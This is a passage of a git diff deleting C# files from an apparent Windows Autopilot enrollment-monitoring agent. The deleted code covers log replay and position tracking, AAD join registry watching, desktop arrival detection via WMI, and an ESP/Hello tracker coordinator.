reporting) - public string AppVersion { get; set; } - public string AppType { get; set; } - public int AttemptNumber { get; set; } - public string DetectionResult { get; set; } - } - - public class FilePositionData - { - public long Position { get; set; } - public long LastKnownSize { get; set; } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogFilePositionTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogFilePositionTracker.cs deleted file mode 100644 index b3607fea..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogFilePositionTracker.cs +++ /dev/null @@ -1,98 +0,0 @@ -using System; -using System.Collections.Generic; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Tracks file read positions for incremental log file reading. - /// In-memory only - resets on agent restart, which is acceptable since - /// we start fresh per enrollment session. - /// - public class LogFilePositionTracker - { - private readonly Dictionary _positions - = new Dictionary(StringComparer.OrdinalIgnoreCase); - - /// - /// Gets the safe read position for a file, detecting rollover/truncation. - /// If the current file size is smaller than the stored position, the file - /// has been rotated - resets to 0 to read from beginning. - /// Returns 0 if no position has been recorded yet. - /// - public long GetSafePosition(string filePath, long currentFileSize) - { - FilePositionState state; - if (!_positions.TryGetValue(filePath, out state)) - return 0; - - // Detect rollover: file is smaller than our stored position - if (currentFileSize < state.Position) - { - state.Position = 0; - state.LastKnownSize = currentFileSize; - return 0; - } - - return state.Position; - } - - /// - /// Stores the current read position for a file after successful reading. - /// - public void SetPosition(string filePath, long position) - { - FilePositionState state; - if (!_positions.TryGetValue(filePath, out state)) - { - state = new FilePositionState(); - _positions[filePath] = state; - } - - state.Position = position; - state.LastKnownSize = position; // Position is always <= file size - state.LastReadTime = DateTime.UtcNow; - } - - /// - /// Gets the stored position for a file, or 0 if not tracked. - /// Does not perform rollover detection. - /// - public long GetPosition(string filePath) - { - FilePositionState state; - if (_positions.TryGetValue(filePath, out state)) - return state.Position; - return 0; - } - - /// - /// Returns all tracked positions for state persistence. - /// Keys are full file paths. - /// - public Dictionary GetAllPositions() - { - return new Dictionary(_positions, StringComparer.OrdinalIgnoreCase); - } - - /// - /// Restores a previously persisted position for a file. - /// Used on agent restart to continue reading from the last known position. - /// - public void RestorePosition(string filePath, long position, long lastKnownSize) - { - _positions[filePath] = new FilePositionState - { - Position = position, - LastKnownSize = lastKnownSize, - LastReadTime = DateTime.UtcNow - }; - } - } - - public class FilePositionState - { - public long Position { get; set; } - public long LastKnownSize { get; set; } - public DateTime LastReadTime { get; set; } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogReplayService.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogReplayService.cs deleted file mode 100644 index 49b87015..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/LogReplayService.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime -{ - /// - /// Replays a real Autopilot enrollment using IME log files with time compression. - /// - /// Key principle: Real data, no mocks. - /// - Device info: collected from actual WMI/Registry on the machine running the replay - /// - App tracking: replayed from real IME log files with configurable speed factor - /// - Performance data: handled by PerformanceCollector (always on, real machine data) - /// - public class LogReplayService : IDisposable - { - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - private readonly string _replayLogDir; - private readonly double _speedFactor; - private readonly List _imeLogPatterns; - - private CancellationTokenSource _cancellationTokenSource; - private Task _replayTask; - private EnrollmentTracker _enrollmentTracker; - private bool _disposed = false; - - public LogReplayService( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - string replayLogDir = null, - double speedFactor = 50, - List imeLogPatterns = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _replayLogDir = replayLogDir; - _speedFactor = speedFactor; - _imeLogPatterns = imeLogPatterns ?? new List(); - } - - /// - /// Starts log replay - /// - public void Start() - { - _logger.Info("Starting log replay service"); - - if (string.IsNullOrEmpty(_replayLogDir) || !Directory.Exists(_replayLogDir)) - { - _logger.Warning($"Replay log directory not found or not specified: {_replayLogDir}"); - _logger.Info("Log replay will only emit device info events (no log replay)"); - } - - _cancellationTokenSource = new CancellationTokenSource(); - _replayTask = Task.Run(() => RunReplay(_cancellationTokenSource.Token)); - } - - /// - /// Stops the log replay - /// - public void Stop() - { - if (_cancellationTokenSource == null || _cancellationTokenSource.IsCancellationRequested) - return; - - _logger.Info("Stopping log replay service"); - - try - { - _cancellationTokenSource?.Cancel(); - _replayTask?.Wait(TimeSpan.FromSeconds(5)); - } - catch (ObjectDisposedException) { } - catch (AggregateException) { } - } - - private async Task RunReplay(CancellationToken cancellationToken) - { - try - { - _logger.Info($"Starting log replay (real device data + IME log replay, speed factor: {_speedFactor}x)"); - - _enrollmentTracker = new EnrollmentTracker( - _sessionId, - _tenantId, - _onEventCollected, - _logger, - _imeLogPatterns, - _replayLogDir, - simulationMode: true, - speedFactor: _speedFactor - ); - - _enrollmentTracker.Start(); - _logger.Info($"EnrollmentTracker started in replay mode (speed factor: {_speedFactor}x)"); - - // Wait for log replay to complete or be cancelled - var checkInterval = TimeSpan.FromSeconds(5); - var maxWaitTime = TimeSpan.FromMinutes(10); // Safety timeout - var elapsed = TimeSpan.Zero; - - while (!cancellationToken.IsCancellationRequested && elapsed < maxWaitTime) - { - await Task.Delay(checkInterval, cancellationToken); - elapsed += checkInterval; - - var packageStates = _enrollmentTracker.ImeTracker?.PackageStates; - if (packageStates != null && packageStates.CountAll > 0 && packageStates.IsAllCompleted()) - { - _logger.Info($"Log replay: all {packageStates.CountAll} apps completed after {elapsed.TotalSeconds:F0}s"); - break; - } - } - - _logger.Info("Log replay completed (enrollment_complete will be emitted when IME log shows user session completion)"); - } - catch (OperationCanceledException) - { - _logger.Info("Log replay cancelled"); - } - catch (Exception ex) - { - _logger.Error("Error in log replay", ex); - } - } - - public void Dispose() - { - if (_disposed) - return; - - Stop(); - _enrollmentTracker?.Dispose(); - _cancellationTokenSource?.Dispose(); - _disposed = true; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ScriptExecutionState.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ScriptExecutionState.cs deleted file mode 100644 index c979139b..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/Ime/ScriptExecutionState.cs +++ /dev/null @@ -1,35 +0,0 @@ -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; - -/// -/// Accumulates multi-line script execution data from IME logs before emitting -/// a single consolidated event. Used for both platform scripts and remediation scripts. -/// -public class ScriptExecutionState -{ - /// Intune policy GUID identifying the script. - public string PolicyId { get; set; } - - /// "platform" or "remediation". - public string ScriptType { get; set; } - - /// "detection" or "remediation" (remediation scripts only). - public string ScriptPart { get; set; } - - /// "System" or "User" execution context. - public string RunContext { get; set; } - - /// PowerShell exit code. - public int? ExitCode { get; set; } - - /// Standard output (truncated). - public string Stdout { get; set; } - - /// Standard error output (truncated). - public string Stderr { get; set; } - - /// "Success" or "Failed" (platform scripts). - public string Result { get; set; } - - /// "True" or "False" compliance result (remediation detection only). - public string ComplianceResult { get; set; } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinInfo.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinInfo.cs deleted file mode 100644 index d9ddfee1..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinInfo.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Reads AAD join information from the Windows registry and classifies the - /// signed-in user e-mail into "real user" vs. "provisioning placeholder". - /// - /// Registry path: HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo\<thumbprint>\UserEmail - /// - /// Placeholder users () appear transiently during - /// Autopilot pre-provisioning (WhiteGlove) and must NOT be counted as a real AAD join. - /// - internal static class AadJoinInfo - { - internal const string JoinInfoRegistryPath = - @"SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo"; - - /// - /// Reads the first JoinInfo sub-key and returns the UserEmail + thumbprint. - /// Returns true when ANY sub-key was found (even without UserEmail); the caller - /// inspects the out-parameters to decide semantics. - /// - /// Raw UserEmail value (may be null/empty). - /// The certificate thumbprint sub-key name (may be null). - /// - /// True when matches a known provisioning-placeholder - /// pattern (foouser@*, autopilot@*). Placeholders are NOT a real AAD join. - /// - internal static bool TryReadAadJoinedUser( - out string userEmail, - out string thumbprint, - out bool isPlaceholderUser) - { - userEmail = null; - thumbprint = null; - isPlaceholderUser = false; - - try - { - using (var joinInfoKey = Registry.LocalMachine.OpenSubKey(JoinInfoRegistryPath)) - { - if (joinInfoKey == null) - return false; - - var subKeyNames = joinInfoKey.GetSubKeyNames(); - if (subKeyNames == null || subKeyNames.Length == 0) - return false; - - thumbprint = subKeyNames[0]; - using (var subKey = joinInfoKey.OpenSubKey(thumbprint)) - { - if (subKey == null) - return true; - - userEmail = subKey.GetValue("UserEmail")?.ToString(); - isPlaceholderUser = IsPlaceholderUserEmail(userEmail); - } - } - - return true; - } - catch - { - return false; - } - } - - /// - /// Returns true when the given email matches a known transient provisioning-account - /// pattern (foouser@*, autopilot@*). These accounts appear during Autopilot device - /// preparation and must not be treated as a real signed-in user. - /// - internal static bool IsPlaceholderUserEmail(string email) - { - if (string.IsNullOrWhiteSpace(email)) - return false; - - return email.StartsWith("foouser@", StringComparison.OrdinalIgnoreCase) - || email.StartsWith("autopilot@", StringComparison.OrdinalIgnoreCase); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinWatcher.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinWatcher.cs deleted file mode 100644 index 73f3dcb9..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/AadJoinWatcher.cs +++ /dev/null @@ -1,251 +0,0 @@ -using System; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Interop; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - public sealed class AadPlaceholderUserDetectedEventArgs : EventArgs - { - public string UserEmail { get; } - public string Thumbprint { get; } - public AadPlaceholderUserDetectedEventArgs(string userEmail, string thumbprint) - { - UserEmail = userEmail; - Thumbprint = thumbprint; - } - } - - public sealed class AadUserJoinedEventArgs : EventArgs - { - public string UserEmail { get; } - public string Thumbprint { get; } - public AadUserJoinedEventArgs(string userEmail, string thumbprint) - { - UserEmail = userEmail; - Thumbprint = thumbprint; - } - } - - /// - /// Watches HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo for a - /// late AAD user join. Uses (RegNotifyChangeKeyValue) for - /// instant, low-overhead change detection — no polling. - /// - /// Two distinct events are raised: - /// - /// — first time a transient - /// provisioning account (foouser@*, autopilot@*) appears. Fire-once. - /// The watcher keeps running afterwards, as the placeholder is expected to be - /// replaced by a real user. - /// — first time a REAL user e-mail - /// (non-placeholder) appears. Fire-once. The watcher auto-stops afterwards. - /// - /// - /// Retry semantics: the JoinInfo root key may not exist yet when the agent - /// starts — it is created during AAD provisioning. A retry timer polls for its - /// appearance every 2 seconds until it exists, then attaches the registry watcher. - /// - internal sealed class AadJoinWatcher : IDisposable - { - internal const int RetryIntervalSeconds = 2; - internal const int DebounceMilliseconds = 500; - - private readonly AgentLogger _logger; - private readonly object _stateLock = new object(); - - private RegistryWatcher _watcher; - private Timer _retryTimer; - private Timer _debounceTimer; - - private bool _placeholderFired; - private bool _realUserFired; - private bool _disposed; - - public event EventHandler PlaceholderUserDetected; - public event EventHandler AadUserJoined; - - public AadJoinWatcher(AgentLogger logger) - { - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - public void Start() - { - if (_disposed) throw new ObjectDisposedException(nameof(AadJoinWatcher)); - - // Initial synchronous read. If a real AAD user is already present (typical after - // DeviceInfoCollector ran at agent startup), fire AadUserJoined once and do NOT - // attach the registry watcher — there is nothing left to watch for. - CheckJoinInfo(); - bool terminalFromStartup; - lock (_stateLock) { terminalFromStartup = _realUserFired; } - if (terminalFromStartup) - { - _logger.Info("AadJoinWatcher: real AAD user already present at startup — skipping RegistryWatcher attach"); - return; - } - - if (!TryStartWatcher()) - { - _logger.Info("AadJoinWatcher: JoinInfo key not yet present — retrying every 2s"); - _retryTimer = new Timer( - _ => - { - if (TryStartWatcher()) - { - _retryTimer?.Dispose(); - _retryTimer = null; - } - }, - null, - TimeSpan.FromSeconds(RetryIntervalSeconds), - TimeSpan.FromSeconds(RetryIntervalSeconds)); - } - } - - public void Stop(string reason = "watcher_stopped") - { - try - { - lock (_stateLock) - { - _retryTimer?.Dispose(); - _retryTimer = null; - - _debounceTimer?.Dispose(); - _debounceTimer = null; - - if (_watcher != null) - { - _watcher.Dispose(); - _watcher = null; - _logger.Info($"AadJoinWatcher: stopped ({reason})"); - } - } - } - catch (Exception ex) - { - _logger.Error("AadJoinWatcher: error during Stop", ex); - } - } - - public void Dispose() - { - if (_disposed) return; - _disposed = true; - Stop("disposed"); - } - - private bool TryStartWatcher() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey(AadJoinInfo.JoinInfoRegistryPath)) - { - if (key == null) return false; - } - - lock (_stateLock) - { - if (_watcher != null) return true; // Already running - - _debounceTimer = new Timer( - _ => CheckJoinInfo(), - null, - Timeout.Infinite, - Timeout.Infinite); - - _watcher = new RegistryWatcher( - RegistryHive.LocalMachine, - AadJoinInfo.JoinInfoRegistryPath, - watchSubtree: true, - filter: RegistryNativeMethods.RegChangeNotifyFilter.LastSet - | RegistryNativeMethods.RegChangeNotifyFilter.Name, - trace: msg => _logger.Trace($"AadJoinWatcher(reg): {msg}")); - - _watcher.Changed += (s, e) => - { - _logger.Trace("AadJoinWatcher: registry changed — debouncing"); - _debounceTimer?.Change(DebounceMilliseconds, Timeout.Infinite); - }; - _watcher.Error += (s, ex) => _logger.Warning($"AadJoinWatcher: watcher error: {ex.Message}"); - - _watcher.Start(); - _logger.Info("AadJoinWatcher: RegistryWatcher attached to JoinInfo"); - } - - return true; - } - catch (Exception ex) - { - _logger.Warning($"AadJoinWatcher: failed to start watcher: {ex.Message}"); - return false; - } - } - - private void CheckJoinInfo() - { - try - { - // Already reached terminal state? Stop any further processing. - lock (_stateLock) - { - if (_realUserFired) return; - } - - if (!AadJoinInfo.TryReadAadJoinedUser(out var userEmail, out var thumbprint, out var isPlaceholderUser)) - { - // Key gone or unreadable — keep watching, may come back - return; - } - - if (string.IsNullOrWhiteSpace(userEmail)) - { - // Sub-key exists but no UserEmail value yet — nothing to act on - return; - } - - bool firePlaceholder = false; - bool fireRealUser = false; - lock (_stateLock) - { - if (isPlaceholderUser && !_placeholderFired) - { - _placeholderFired = true; - firePlaceholder = true; - } - else if (!isPlaceholderUser && !_realUserFired) - { - _realUserFired = true; - fireRealUser = true; - } - } - - if (firePlaceholder) - { - _logger.Info($"AadJoinWatcher: placeholder user detected ({userEmail}) — pre-provisioning indicator"); - try { PlaceholderUserDetected?.Invoke(this, new AadPlaceholderUserDetectedEventArgs(userEmail, thumbprint)); } - catch (Exception ex) { _logger.Error("AadJoinWatcher: PlaceholderUserDetected handler threw", ex); } - } - - if (fireRealUser) - { - _logger.Info($"AadJoinWatcher: real AAD user joined ({userEmail}) — firing AadUserJoined and stopping watcher"); - try { AadUserJoined?.Invoke(this, new AadUserJoinedEventArgs(userEmail, thumbprint)); } - catch (Exception ex) { _logger.Error("AadJoinWatcher: AadUserJoined handler threw", ex); } - - // Terminal — stop the watcher. Run on a thread-pool thread to avoid - // callback-in-callback lock edge cases with the RegistryWatcher worker. - ThreadPool.QueueUserWorkItem(_ => Stop("real_user_joined")); - } - } - catch (Exception ex) - { - _logger.Warning($"AadJoinWatcher: CheckJoinInfo threw: {ex.Message}"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/DesktopArrivalDetector.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/DesktopArrivalDetector.cs deleted file mode 100644 index e67632ea..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/DesktopArrivalDetector.cs +++ /dev/null @@ -1,215 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Management; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Detects when a real user desktop becomes available (explorer.exe under a non-system user). - /// Fires DesktopArrived event exactly once per agent lifetime. - /// Used for enrollment completion in no-ESP scenarios (WDP v2, ESP disabled) and - /// as a backup signal for AccountSetup phase correction. - /// - public class DesktopArrivalDetector : IDisposable - { - private readonly AgentLogger _logger; - private Timer _pollingTimer; - private bool _desktopArrived; - private bool _excludedUserTraced; // Emit trace event only once for excluded-user skips - private const int PollingIntervalSeconds = 30; - - /// - /// System/service account names that should NOT be considered real users. - /// - private static readonly string[] ExcludedUserNames = - { - "SYSTEM", - "LOCAL SERVICE", - "NETWORK SERVICE", - "DefaultUser0", - "DefaultUser1", - "defaultuser0", - "defaultuser1" - }; - - /// - /// Fired exactly once when a real user desktop is detected (explorer.exe under a real user). - /// - public event EventHandler DesktopArrived; - - /// - /// Optional callback for trace events (decision, reason, context). - /// Wired by MonitoringService to emit agent_trace events to the backend. - /// - public Action> OnTraceEvent { get; set; } - - public DesktopArrivalDetector(AgentLogger logger) - { - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - } - - public void Start() - { - _logger.Info("DesktopArrivalDetector: starting (polling every 30s)"); - _pollingTimer = new Timer( - PollForDesktop, - null, - TimeSpan.FromSeconds(5), // Initial check after 5s - TimeSpan.FromSeconds(PollingIntervalSeconds)); - } - - public void Stop() - { - _pollingTimer?.Dispose(); - _pollingTimer = null; - } - - private void PollForDesktop(object state) - { - if (_desktopArrived) - return; - - try - { - var explorerProcesses = Process.GetProcessesByName("explorer"); - foreach (var proc in explorerProcesses) - { - try - { - // Session 0 = SYSTEM session, skip - if (proc.SessionId == 0) - continue; - - var owner = GetProcessOwner(proc.Id); - if (owner == null) - continue; - - // Check against exclusion list - if (IsExcludedUser(owner)) - { - _logger.Debug($"DesktopArrivalDetector: explorer.exe PID {proc.Id} owned by excluded user '{owner}' — skipping"); - - // Trace this decision once so it's visible in the backend - if (!_excludedUserTraced) - { - _excludedUserTraced = true; - try - { - OnTraceEvent?.Invoke( - "desktop_excluded_user", - $"explorer.exe found but owned by excluded user '{owner}' — not a real user desktop", - new Dictionary { { "pid", proc.Id }, { "session", proc.SessionId }, { "owner", owner } }); - } - catch (Exception ex) { _logger.Verbose($"DesktopArrivalDetector: OnTraceEvent failed: {ex.Message}"); } - } - continue; - } - - // Real user desktop detected - _desktopArrived = true; - _logger.Info($"DesktopArrivalDetector: real user desktop detected (explorer.exe PID {proc.Id}, session {proc.SessionId}, user '{owner}')"); - - try - { - OnTraceEvent?.Invoke( - "desktop_real_user_detected", - $"Real user desktop detected (explorer.exe PID {proc.Id}, user '[redacted]')", - new Dictionary { { "pid", proc.Id }, { "session", proc.SessionId }, { "owner", "[redacted]" } }); - } - catch (Exception ex) { _logger.Verbose($"DesktopArrivalDetector: OnTraceEvent failed: {ex.Message}"); } - - // Stop polling - _pollingTimer?.Dispose(); - _pollingTimer = null; - - try { DesktopArrived?.Invoke(this, EventArgs.Empty); } - catch (Exception ex) { _logger.Warning($"DesktopArrivalDetector: DesktopArrived handler failed: {ex.Message}"); } - return; - } - catch (Exception ex) - { - _logger.Debug($"DesktopArrivalDetector: error checking explorer.exe PID {proc.Id}: {ex.Message}"); - } - finally - { - proc.Dispose(); - } - } - } - catch (Exception ex) - { - _logger.Debug($"DesktopArrivalDetector: polling error: {ex.Message}"); - } - } - - /// - /// Gets the owner of a process using WMI (Win32_Process.GetOwner). - /// Returns "DOMAIN\User" or "User" string, or null on failure. - /// - private string GetProcessOwner(int processId) - { - try - { - using (var searcher = new ManagementObjectSearcher( - $"SELECT * FROM Win32_Process WHERE ProcessId = {processId}")) - { - foreach (ManagementObject obj in searcher.Get()) - { - var outParams = new object[2]; - var result = (uint)obj.InvokeMethod("GetOwner", outParams); - if (result == 0) - { - var user = outParams[0]?.ToString(); - var domain = outParams[1]?.ToString(); - return string.IsNullOrEmpty(domain) ? user : $"{domain}\\{user}"; - } - } - } - } - catch (Exception ex) - { - _logger.Debug($"DesktopArrivalDetector: WMI GetOwner failed for PID {processId}: {ex.Message}"); - } - - return null; - } - - /// - /// Returns true if the user name matches any excluded system/service account. - /// Handles both "User" and "DOMAIN\User" formats. - /// Also matches the pattern DefaultUser* (case-insensitive). - /// - internal static bool IsExcludedUser(string fullUserName) - { - if (string.IsNullOrEmpty(fullUserName)) - return true; - - // Extract just the username part (after backslash if present) - var userName = fullUserName; - var backslashIndex = fullUserName.LastIndexOf('\\'); - if (backslashIndex >= 0 && backslashIndex < fullUserName.Length - 1) - userName = fullUserName.Substring(backslashIndex + 1); - - // Check exact matches - foreach (var excluded in ExcludedUserNames) - { - if (string.Equals(userName, excluded, StringComparison.OrdinalIgnoreCase)) - return true; - } - - // Check DefaultUser* pattern - if (userName.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase)) - return true; - - return false; - } - - public void Dispose() - { - Stop(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/EspAndHelloTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/EspAndHelloTracker.cs deleted file mode 100644 index 822268b6..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/SystemSignals/EspAndHelloTracker.cs +++ /dev/null @@ -1,320 +0,0 @@ -using System; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals -{ - /// - /// Thin coordinator that composes four focused sub-trackers to deliver the ESP + Hello - /// monitoring surface expected by CollectorCoordinator and EnrollmentTracker: - /// - /// - — WHfB policy, UDR 300/301/358/360/362/376, - /// HelloForBusiness 3024/6045, Hello timers - /// - — Shell-Core 62404/62407 (ESP exit / failure, - /// WhiteGlove success, Hello wizard start) - /// - — Registry-driven ESP provisioning category - /// tracking + DeviceSetup fallback - /// - — ModernDeployment-Diagnostics-Provider live - /// capture + WhiteGlove Event 509 backfill - /// - /// Public API (events, properties, methods) is preserved byte-for-byte from the pre-split - /// monolith so callers don't change. - /// - public sealed class EspAndHelloTracker : IDisposable - { - private readonly AgentLogger _logger; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _onEventCollected; - - private readonly int _helloWaitTimeoutSeconds; - private readonly bool _modernDeploymentWatcherEnabled; - private readonly int _modernDeploymentLogLevelMax; - private readonly bool _modernDeploymentBackfillEnabled; - private readonly int _modernDeploymentBackfillLookbackMinutes; - private readonly string _stateDirectory; - private readonly int[] _modernDeploymentHarmlessEventIds; - - private HelloTracker _helloTracker; - private ShellCoreTracker _shellCoreTracker; - private ProvisioningStatusTracker _provisioningTracker; - private ModernDeploymentTracker _modernDeploymentTracker; - - /// - /// Callback invoked when Hello provisioning completes (successfully, failed, skipped, or timeout). - /// Based on events 300/301/362 only — NOT on event 360 (which is just a snapshot). - /// - public event EventHandler HelloCompleted; - - /// - /// Callback invoked when ESP exit or Hello wizard start is detected. - /// Triggers transition to FinalizingSetup phase in EnrollmentTracker. - /// - public event EventHandler FinalizingSetupPhaseTriggered; - - /// - /// Fired when WhiteGlove (Pre-Provisioning) completes successfully. - /// The device will shut down; the agent should terminate gracefully. - /// - public event EventHandler WhiteGloveCompleted; - - /// - /// Fired when an ESP failure is detected (ESPProgress_Failure, _Timeout, _Abort, - /// WhiteGlove_Failed, Provisioning_*_Failed, etc.). The string is the structured failure type. - /// - public event EventHandler EspFailureDetected; - - /// - /// Fired when DeviceSetup provisioning status shows categorySucceeded=true (or fallback confirmed). - /// Used as a completion signal for Self-Deploying mode where Shell-Core ESP exit and - /// desktop arrival signals may never arrive. - /// - public event EventHandler DeviceSetupProvisioningComplete; - - /// - /// Outcome of Hello provisioning. Set when Hello resolves (via events, timeout, or not configured). - /// Values: "completed", "skipped", "timeout", "not_configured", "wizard_not_started", null (not yet resolved). - /// - public string HelloOutcome => _helloTracker?.HelloOutcome; - - /// - /// True when Windows Hello for Business policy is configured (enabled or disabled). - /// - public bool IsPolicyConfigured => _helloTracker?.IsPolicyConfigured ?? false; - - /// - /// True when Windows Hello provisioning has completed (successfully, failed, or skipped). - /// - public bool IsHelloCompleted => _helloTracker?.IsHelloCompleted ?? false; - - /// - /// True when DeviceSetupCategory.Status has resolved categorySucceeded=true OR the fallback confirmed. - /// - public bool DeviceSetupCategorySucceeded => _provisioningTracker?.DeviceSetupCategorySucceeded ?? false; - - /// - /// True when any AccountSetup subcategory has been tracked (resolved or in progress). - /// - public bool HasAccountSetupActivity => _provisioningTracker?.HasAccountSetupActivity ?? false; - - /// - /// True once WhiteGlove start has been detected (EventID 509 or persisted from prior run). - /// Forwarded from ModernDeploymentTracker. - /// - public bool IsWhiteGloveStartDetected => _modernDeploymentTracker?.IsWhiteGloveStartDetected ?? false; - - /// - /// True when DeviceSetup contains a SaveWhiteGloveSuccessResult subcategory with state "succeeded". - /// This is a definitive WhiteGlove (Pre-Provisioning) confirmation signal from the ESP registry. - /// - public bool HasSaveWhiteGloveSuccessResult => _provisioningTracker?.HasSaveWhiteGloveSuccessResult ?? false; - - public EspAndHelloTracker( - string sessionId, - string tenantId, - Action onEventCollected, - AgentLogger logger, - int helloWaitTimeoutSeconds = 30, - bool modernDeploymentWatcherEnabled = true, - int modernDeploymentLogLevelMax = 3, - bool modernDeploymentBackfillEnabled = true, - int modernDeploymentBackfillLookbackMinutes = 30, - string stateDirectory = null, - int[] modernDeploymentHarmlessEventIds = null) - { - _sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId)); - _tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId)); - _onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected)); - _logger = logger ?? throw new ArgumentNullException(nameof(logger)); - _helloWaitTimeoutSeconds = helloWaitTimeoutSeconds; - _modernDeploymentWatcherEnabled = modernDeploymentWatcherEnabled; - _modernDeploymentLogLevelMax = modernDeploymentLogLevelMax; - _modernDeploymentBackfillEnabled = modernDeploymentBackfillEnabled; - _modernDeploymentBackfillLookbackMinutes = modernDeploymentBackfillLookbackMinutes; - _stateDirectory = stateDirectory != null ? Environment.ExpandEnvironmentVariables(stateDirectory) : null; - _modernDeploymentHarmlessEventIds = modernDeploymentHarmlessEventIds; - } - - // ===================================================================== - // Forwarded state/snapshot methods - // ===================================================================== - - public System.Collections.Generic.Dictionary GetProvisioningCategorySnapshot() - => _provisioningTracker?.GetProvisioningCategorySnapshot() - ?? new System.Collections.Generic.Dictionary(StringComparer.OrdinalIgnoreCase); - - public EspProvisioningSnapshot GetProvisioningSnapshot() => _provisioningTracker?.GetProvisioningSnapshot(); - - // ===================================================================== - // Forwarded Hello coordination API - // ===================================================================== - - /// - /// Force-marks Hello as completed from an external caller (e.g. safety timeout in EnrollmentTracker). - /// Does NOT invoke the HelloCompleted event — the caller handles completion logic directly. - /// - public void ForceMarkHelloCompleted(string reason) => _helloTracker?.ForceMarkHelloCompleted(reason); - - /// - /// Starts the Hello wait timer. Called by EnrollmentTracker when AccountSetup phase exits. - /// - public void StartHelloWaitTimer() => _helloTracker?.StartHelloWaitTimer(); - - /// - /// Resets Hello tracking state when ESP resumes after a mid-enrollment reboot (hybrid join). - /// - public void ResetForEspResumption() => _helloTracker?.ResetForEspResumption(); - - /// - /// Backfills recent ESP exit and failure events from Shell-Core log on startup. - /// Secondary recovery mechanism when state persistence is unavailable. - /// - public void BackfillRecentEspExitEvents() => _shellCoreTracker?.BackfillRecentEspExitEvents(); - - // ===================================================================== - // Lifecycle - // ===================================================================== - - public void Start() - { - _logger.Info("Starting ESP and Hello tracker"); - - _helloTracker = new HelloTracker( - _sessionId, - _tenantId, - _onEventCollected, - _logger, - _helloWaitTimeoutSeconds); - _helloTracker.HelloCompleted += OnHelloCompleted; - _helloTracker.Start(); - - _shellCoreTracker = new ShellCoreTracker( - _sessionId, - _tenantId, - _onEventCollected, - 